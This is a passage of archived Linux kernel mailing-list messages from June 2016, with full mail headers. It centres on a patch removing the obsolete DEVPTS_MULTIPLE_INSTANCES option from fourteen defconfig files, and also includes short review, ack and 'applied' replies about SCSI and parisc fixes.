Yes, please. I was wanting to get rid of the 'current_cmnd' thingie a
long time ago.

Reviewed-by: Hannes Reinecke <hare@suse.com>

Cheers,

Hannes
--=20
Dr. Hannes Reinecke		   Teamlead Storage & Networking
hare@suse.de			               +49 911 74053 688
SUSE LINUX GmbH, Maxfeldstr. 5, 90409 N=FCrnberg
GF: F. Imend=F6rffer, J. Smithard, J. Guild, D. Upmanyu, G. Norton
HRB 21284 (AG N=FCrnberg)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandru Moise <00moses.alexander00@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.arc
Subject: [PATCH] devpts: remove DEVPTS_MULTIPLE_INSTANCES from all configs
Date: Mon, 20 Jun 2016 12:12:58 +0300
Lines: 190
Approved: news@gmane.org
Message-ID: <20160620091258.11233-1-00moses.alexander00@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1466414070 15247 80.91.229.3 (20 Jun 2016 09:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Jun 2016 09:14:30 +0000 (UTC)
Cc: linux-kselftest@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-sh@vger.kernel.org, linux-s390@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-mips@linux-mips.org, linux-arm-kernel@lists.infradead.org,
        linux-snps-arc@lists.infradead.org, bamvor.zhangjian@linaro.org,
        kirill.shutemov@linux.intel.com, akpm@linux-foundation.org,
        Alexandru Moise <00moses.alexander00@gmail.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jun 20 11:14:14 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bEvHY-00083G-Ul
	for sgi-linux-mips@gmane.org; Mon, 20 Jun 2016 11:14:13 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50416 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27043112AbcFTJOKny2cJ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 20 Jun 2016 11:14:10 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 20 Jun 2016 11:13:56 +0200 (CEST)
Original-Received: from mail-wm0-f65.google.com ([74.125.82.65]:36062 "EHLO
        mail-wm0-f65.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27043106AbcFTJNyECOgJ (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 20 Jun 2016 11:13:54 +0200
Original-Received: by mail-wm0-f65.google.com with SMTP id c82so9445380wme.3
        for <linux-mips@linux-mips.org>; Mon, 20 Jun 2016 02:13:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=Daqf83TsxQ90xekzrS9JpDS/uOOoA0/HU5HNp90/9ec=;
        b=zNXQonQQ8wVCwOiwCu+nRM+rd4pm5Ekv/j+lf6PS8EmTFzMUdi0wWSikh0y1KLttRz
         O76DA2+S6Uqg/z/XRXSmMq7WIKCUYUTfa2eG6UkOFQecxaz9DHywczBzvAbosR88jXtH
         Ev5Sju7un6X73xlIYWu3HoHDToQV/IDAbSGKU9NJ5vgJwonfV6P4SJ9l7DfpmjITDpxr
         Ie61uqOEI5sDKkQ2VkSrEDLbLtYEm2Yw0X2mYEqqpjllMr/nRbweLfqNrjkl1vpyQ2X5
         JXh07HZbQoxcXkgiFx+90BVfABA9+IuJxUtmAhg9khnsEAD0MTKxNTPNsv7RAHccdFD/
         YYSA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Daqf83TsxQ90xekzrS9JpDS/uOOoA0/HU5HNp90/9ec=;
        b=ZvJvq5o5+2nusM3CfoQ8ggxGxfQTnNhsBBrA8LFUTRL80eHoa2VKWm63R0qSoHv3iE
         EWBGsDSdgpm4Tottborekk5WNINmlhar2jyp3JqGE5J8hEM/NWRzZgihEZ4YCiMtAedc
         89QShJvYdN4/Bnt7F6XQM+hQai6Wq/rxOnEuCAEHI6sU1WzJTCt/fUUaBsrgU4sM84qp
         ZRR7oQtg9sp376DMPO+jIv0sYg0xBxTpmtdKzIiPiNqSKA/de96413qLJqQ0gKZLO8w3
         W8iL9CGhlNGgtHDGFovFIhlh5yEdoirG293OrK0RFb1EpF6bdTzEVbs9P0XJbXU9gNHY
         h/2Q==
X-Gm-Message-State: ALyK8tJF89Vbdl+7Kl0g4uxOVypH7oAyw45rHniXv4h+fivacZ2oOUh2HYOSiBRGrTc7Mw==
X-Received: by 10.194.139.162 with SMTP id qz2mr13501552wjb.111.1466414023830;
        Mon, 20 Jun 2016 02:13:43 -0700 (PDT)
Original-Received: from localhost.localdomain ([188.24.248.70])
        by smtp.gmail.com with ESMTPSA id u6sm62289807wjy.17.2016.06.20.02.13.36
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 20 Jun 2016 02:13:43 -0700 (PDT)
X-Mailer: git-send-email 2.8.3
X-archive-position: 54118
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: 00moses.alexander00@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55279 gmane.linux.kernel:2248217 gmane.linux.ports.sh.devel:54241 gmane.linux.ports.ppc64.devel:128773 gmane.linux.ports.parisc:26907 gmane.linux.ports.arm.kernel:508265 gmane.linux.kernel.arc:1258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55279>

As each mount of devpts is now an independent filesystem,
the DEVPTS_MULTIPLE_INSTANCES config option no longer exists.
So remove it.

Signed-off-by: Alexandru Moise <00moses.alexander00@gmail.com>
---
 arch/arc/configs/tb10x_defconfig            | 1 -
 arch/arm/configs/mxs_defconfig              | 1 -
 arch/mips/configs/ip27_defconfig            | 1 -
 arch/mips/configs/nlm_xlp_defconfig         | 1 -
 arch/mips/configs/nlm_xlr_defconfig         | 1 -
 arch/parisc/configs/generic-64bit_defconfig | 1 -
 arch/powerpc/configs/powernv_defconfig      | 1 -
 arch/powerpc/configs/pseries_defconfig      | 1 -
 arch/s390/configs/default_defconfig         | 1 -
 arch/s390/configs/gcov_defconfig            | 1 -
 arch/s390/configs/performance_defconfig     | 1 -
 arch/sh/configs/sh7785lcr_32bit_defconfig   | 1 -
 arch/xtensa/configs/iss_defconfig           | 1 -
 tools/testing/selftests/mount/config        | 1 -
 14 files changed, 14 deletions(-)

diff --git a/arch/arc/configs/tb10x_defconfig b/arch/arc/configs/tb10x_defconfig
index 4c51183..be0b4fb 100644
--- a/arch/arc/configs/tb10x_defconfig
+++ b/arch/arc/configs/tb10x_defconfig
@@ -58,7 +58,6 @@ CONFIG_STMMAC_ETH=y
 # CONFIG_INPUT is not set
 # CONFIG_SERIO is not set
 # CONFIG_VT is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 # CONFIG_LEGACY_PTYS is not set
 # CONFIG_DEVKMEM is not set
 CONFIG_SERIAL_8250=y
diff --git a/arch/arm/configs/mxs_defconfig b/arch/arm/configs/mxs_defconfig
index 6e0f751..65a84b4 100644
--- a/arch/arm/configs/mxs_defconfig
+++ b/arch/arm/configs/mxs_defconfig
@@ -77,7 +77,6 @@ CONFIG_INPUT_EVDEV=y
 CONFIG_INPUT_TOUCHSCREEN=y
 CONFIG_TOUCHSCREEN_TSC2007=m
 # CONFIG_SERIO is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 # CONFIG_LEGACY_PTYS is not set
 # CONFIG_DEVKMEM is not set
 CONFIG_SERIAL_AMBA_PL011=y
diff --git a/arch/mips/configs/ip27_defconfig b/arch/mips/configs/ip27_defconfig
index 2b74aee..df11563 100644
--- a/arch/mips/configs/ip27_defconfig
+++ b/arch/mips/configs/ip27_defconfig
@@ -266,7 +266,6 @@ CONFIG_SERIAL_8250_CONSOLE=y
 CONFIG_SERIAL_8250_EXTENDED=y
 CONFIG_SERIAL_8250_MANY_PORTS=y
 CONFIG_SERIAL_8250_SHARE_IRQ=y
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_HW_RANDOM_TIMERIOMEM=m
 CONFIG_I2C_CHARDEV=m
 CONFIG_I2C_ALI1535=m
diff --git a/arch/mips/configs/nlm_xlp_defconfig b/arch/mips/configs/nlm_xlp_defconfig
index b496c25..5c40b48 100644
--- a/arch/mips/configs/nlm_xlp_defconfig
+++ b/arch/mips/configs/nlm_xlp_defconfig
@@ -409,7 +409,6 @@ CONFIG_SERIO_SERPORT=m
 CONFIG_SERIO_LIBPS2=y
 CONFIG_SERIO_RAW=m
 CONFIG_VT_HW_CONSOLE_BINDING=y
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_LEGACY_PTY_COUNT=0
 CONFIG_SERIAL_NONSTANDARD=y
 CONFIG_N_HDLC=m
diff --git a/arch/mips/configs/nlm_xlr_defconfig b/arch/mips/configs/nlm_xlr_defconfig
index 8e99ad8..47a2756 100644
--- a/arch/mips/configs/nlm_xlr_defconfig
+++ b/arch/mips/configs/nlm_xlr_defconfig
@@ -347,7 +347,6 @@ CONFIG_SERIO_SERPORT=m
 CONFIG_SERIO_LIBPS2=y
 CONFIG_SERIO_RAW=m
 CONFIG_VT_HW_CONSOLE_BINDING=y
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_LEGACY_PTY_COUNT=0
 CONFIG_SERIAL_NONSTANDARD=y
 CONFIG_N_HDLC=m
diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
index e945c08..69aa66c 100644
--- a/arch/parisc/configs/generic-64bit_defconfig
+++ b/arch/parisc/configs/generic-64bit_defconfig
@@ -166,7 +166,6 @@ CONFIG_INPUT_MISC=y
 CONFIG_SERIO_SERPORT=m
 # CONFIG_HP_SDC is not set
 CONFIG_SERIO_RAW=m
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 # CONFIG_LEGACY_PTYS is not set
 CONFIG_NOZOMI=m
 # CONFIG_DEVKMEM is not set
diff --git a/arch/powerpc/configs/powernv_defconfig b/arch/powerpc/configs/powernv_defconfig
index 0450310..2fd6bbe 100644
--- a/arch/powerpc/configs/powernv_defconfig
+++ b/arch/powerpc/configs/powernv_defconfig
@@ -176,7 +176,6 @@ CONFIG_PPP_SYNC_TTY=m
 CONFIG_INPUT_EVDEV=m
 CONFIG_INPUT_MISC=y
 # CONFIG_SERIO_SERPORT is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_SERIAL_8250=y
 CONFIG_SERIAL_8250_CONSOLE=y
 CONFIG_SERIAL_JSM=m
diff --git a/arch/powerpc/configs/pseries_defconfig b/arch/powerpc/configs/pseries_defconfig
index 36871a4..3c325ba 100644
--- a/arch/powerpc/configs/pseries_defconfig
+++ b/arch/powerpc/configs/pseries_defconfig
@@ -180,7 +180,6 @@ CONFIG_INPUT_EVDEV=m
 CONFIG_INPUT_MISC=y
 CONFIG_INPUT_PCSPKR=m
 # CONFIG_SERIO_SERPORT is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_SERIAL_8250=y
 CONFIG_SERIAL_8250_CONSOLE=y
 CONFIG_SERIAL_ICOM=m
diff --git a/arch/s390/configs/default_defconfig b/arch/s390/configs/default_defconfig
index d5ec71b..501e93a 100644
--- a/arch/s390/configs/default_defconfig
+++ b/arch/s390/configs/default_defconfig
@@ -453,7 +453,6 @@ CONFIG_PPP_SYNC_TTY=m
 # CONFIG_INPUT_KEYBOARD is not set
 # CONFIG_INPUT_MOUSE is not set
 # CONFIG_SERIO is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_LEGACY_PTY_COUNT=0
 CONFIG_HW_RANDOM_VIRTIO=m
 CONFIG_RAW_DRIVER=m
diff --git a/arch/s390/configs/gcov_defconfig b/arch/s390/configs/gcov_defconfig
index f46a351..bd34600 100644
--- a/arch/s390/configs/gcov_defconfig
+++ b/arch/s390/configs/gcov_defconfig
@@ -447,7 +447,6 @@ CONFIG_PPP_SYNC_TTY=m
 # CONFIG_INPUT_KEYBOARD is not set
 # CONFIG_INPUT_MOUSE is not set
 # CONFIG_SERIO is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_LEGACY_PTY_COUNT=0
 CONFIG_HW_RANDOM_VIRTIO=m
 CONFIG_RAW_DRIVER=m
diff --git a/arch/s390/configs/performance_defconfig b/arch/s390/configs/performance_defconfig
index ba0f2a5..cfb7c50 100644
--- a/arch/s390/configs/performance_defconfig
+++ b/arch/s390/configs/performance_defconfig
@@ -447,7 +447,6 @@ CONFIG_PPP_SYNC_TTY=m
 # CONFIG_INPUT_KEYBOARD is not set
 # CONFIG_INPUT_MOUSE is not set
 # CONFIG_SERIO is not set
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 CONFIG_LEGACY_PTY_COUNT=0
 CONFIG_HW_RANDOM_VIRTIO=m
 CONFIG_RAW_DRIVER=m
diff --git a/arch/sh/configs/sh7785lcr_32bit_defconfig b/arch/sh/configs/sh7785lcr_32bit_defconfig
index 9bdcf72..48df495 100644
--- a/arch/sh/configs/sh7785lcr_32bit_defconfig
+++ b/arch/sh/configs/sh7785lcr_32bit_defconfig
@@ -79,7 +79,6 @@ CONFIG_VT_HW_CONSOLE_BINDING=y
 CONFIG_SERIAL_SH_SCI=y
 CONFIG_SERIAL_SH_SCI_NR_UARTS=6
 CONFIG_SERIAL_SH_SCI_CONSOLE=y
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
 # CONFIG_LEGACY_PTYS is not set
 # CONFIG_HW_RANDOM is not set
 CONFIG_I2C=y
diff --git a/arch/xtensa/configs/iss_defconfig b/arch/xtensa/configs/iss_defconfig
index 44c6764..d7b905a 100644
--- a/arch/xtensa/configs/iss_defconfig
+++ b/arch/xtensa/configs/iss_defconfig
@@ -374,7 +374,6 @@ CONFIG_DEVKMEM=y
 #
 # CONFIG_SERIAL_TIMBERDALE is not set
 CONFIG_UNIX98_PTYS=y
-# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
 CONFIG_LEGACY_PTYS=y
 CONFIG_LEGACY_PTY_COUNT=256
 # CONFIG_IPMI_HANDLER is not set
diff --git a/tools/testing/selftests/mount/config b/tools/testing/selftests/mount/config
index b5d881e..416bd53 100644
--- a/tools/testing/selftests/mount/config
+++ b/tools/testing/selftests/mount/config
@@ -1,2 +1 @@
 CONFIG_USER_NS=y
-CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
-- 
2.8.3




From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH][SCSI] 53c700: Use proper debug printk format specifiers
Date: Mon, 20 Jun 2016 22:02:47 -0400
Organization: Oracle Corporation
Lines: 23
Approved: news@gmane.org
Message-ID: <yq1vb1347ug.fsf@sermon.lab.mkp.net>
References: <20160610203945.GA18046@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1466474612 28954 80.91.229.3 (21 Jun 2016 02:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jun 2016 02:03:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 21 04:03:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bFB1l-0001RU-A3
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Jun 2016 04:02:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753946AbcFUCC4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Jun 2016 22:02:56 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:16829 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753943AbcFUCCz convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Jun 2016 22:02:55 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u5L22oLE010995
	(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Tue, 21 Jun 2016 02:02:50 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
	by userv0022.oracle.com (8.14.4/8.13.8) with ESMTP id u5L22owP029933
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 21 Jun 2016 02:02:50 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
	by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id u5L22n0L020795;
	Tue, 21 Jun 2016 02:02:50 GMT
Original-Received: from ca-mkp.ca.oracle.com (/10.159.214.123)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Mon, 20 Jun 2016 19:02:49 -0700
In-Reply-To: <20160610203945.GA18046@p100.box> (Helge Deller's message of
	"Fri, 10 Jun 2016 22:39:45 +0200")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26908 gmane.linux.scsi:114472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26908>

>>>>> "Helge" =3D=3D Helge Deller <deller@gmx.de> writes:

Helge> When enabling the debug options NCR_700_DEBUG and
Helge> NCR_700_TAG_DEBUG various printk format warnings can be seen
Helge> like: drivers/scsi/53c700.c:357:2: warning: format =E2=80=98%p=E2=
=80=99 expects
Helge> argument of type =E2=80=98void *=E2=80=99, but argument 4 has ty=
pe =E2=80=98dma_addr_t=E2=80=99
Helge> [-Wformat=3D] script_patch_32(hostdata->dev, script,
Helge> MessageLocation,

Helge> Fix them by using the right printk format specifiers.

Applied to 4.8/scsi-queue.

--=20
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] devpts: remove DEVPTS_MULTIPLE_INSTANCES from all
 configs
Date: Tue, 21 Jun 2016 05:30:40 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA230750106944A83@us01wembx1.internal.synopsys.com>
References: <20160620091258.11233-1-00moses.alexander00@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1466487082 4395 80.91.229.3 (21 Jun 2016 05:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jun 2016 05:31:22 +0000 (UTC)
Cc: "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        "kirill.shutemov@linux.intel.com" <kirill.shutemov@linux.intel.com>,
        "linux-kselftest@vger.kernel.org" <linux-kselftest@vger.kernel.org>,
        "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
        "linux-snps-arc@lists.infradead.org" 
        <linux-snps-arc@lists.infradead.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "bamvor.zhangjian@linaro.org" <bamvor.zhangjian@linaro.org>,
        "linux-arm-kernel@lists.infradead.org" 
        <linux-arm-kernel@lists.infradead.org>
To: Alexandru Moise <00moses.alexander00@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 21 07:31:12 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bFEHG-00055j-OY
	for sgi-linux-mips@gmane.org; Tue, 21 Jun 2016 07:31:10 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36188 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27042836AbcFUFbIQ1Z6- (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 21 Jun 2016 07:31:08 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 21 Jun 2016 07:30:52 +0200 (CEST)
Original-Received: from smtprelay.synopsys.com ([198.182.47.9]:57501 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27041988AbcFUFauFGjM- convert rfc822-to-8bit
        (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 21 Jun 2016 07:30:50 +0200
Original-Received: from us02secmta2.synopsys.com (us02secmta2.synopsys.com [10.12.235.98])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 4A4EC24E1EED;
        Mon, 20 Jun 2016 22:30:42 -0700 (PDT)
Original-Received: from us02secmta2.internal.synopsys.com (us02secmta2.internal.synopsys.com [127.0.0.1])
        by us02secmta2.internal.synopsys.com (Service) with ESMTP id 3B98D55F13;
        Mon, 20 Jun 2016 22:30:42 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
        by us02secmta2.internal.synopsys.com (Service) with ESMTP id DF78E55F02;
        Mon, 20 Jun 2016 22:30:41 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id C5597590;
        Mon, 20 Jun 2016 22:30:41 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com (us01wehtc1-vip.internal.synopsys.com [10.12.239.236])
        by mailhost.synopsys.com (Postfix) with ESMTP id 55A4E58F;
        Mon, 20 Jun 2016 22:30:41 -0700 (PDT)
Original-Received: from us01wembx1.internal.synopsys.com ([169.254.1.151]) by
 us01wehtc1.internal.synopsys.com ([::1]) with mapi id 14.03.0266.001; Mon, 20
 Jun 2016 22:30:40 -0700
Thread-Topic: [PATCH] devpts: remove DEVPTS_MULTIPLE_INSTANCES from all
 configs
Thread-Index: AQHRytQkYob+zAYmoUqEmxVLEG3r1g==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.144.199.104]
X-archive-position: 54128
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Vineet.Gupta1@synopsys.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55289 gmane.linux.kernel:2249250 gmane.linux.ports.parisc:26909 gmane.linux.ports.sh.devel:54242 gmane.linux.kernel.arc:1263 gmane.linux.ports.ppc64.devel:128865 gmane.linux.ports.arm.kernel:508588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55289>

On Monday 20 June 2016 02:44 PM, Alexandru Moise wrote:
> As each mount of devpts is now an independent filesystem,
> the DEVPTS_MULTIPLE_INSTANCES config option no longer exists.
> So remove it.
>
> Signed-off-by: Alexandru Moise <00moses.alexander00@gmail.com>

For arch/arc

Acked-by: Vineet Gupta <vgupta@synopsys.com>



From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 22 Jun 2016 14:52:40 +0300 (EEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee> <56902D77.1020200@gmx.de> <alpine.LRH.2.20.1605162336050.12607@math.ut.ee> <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1466597898 6510 80.91.229.3 (22 Jun 2016 12:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jun 2016 12:18:18 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-block@vger.kernel.org, linux-scsi@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Jun 22 14:18:17 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bFh6f-0007CW-Ci
	for lnx-linux-scsi@plane.gmane.org; Wed, 22 Jun 2016 14:18:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752598AbcFVMRf (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 22 Jun 2016 08:17:35 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:42604 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752262AbcFVMRE (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Wed, 22 Jun 2016 08:17:04 -0400
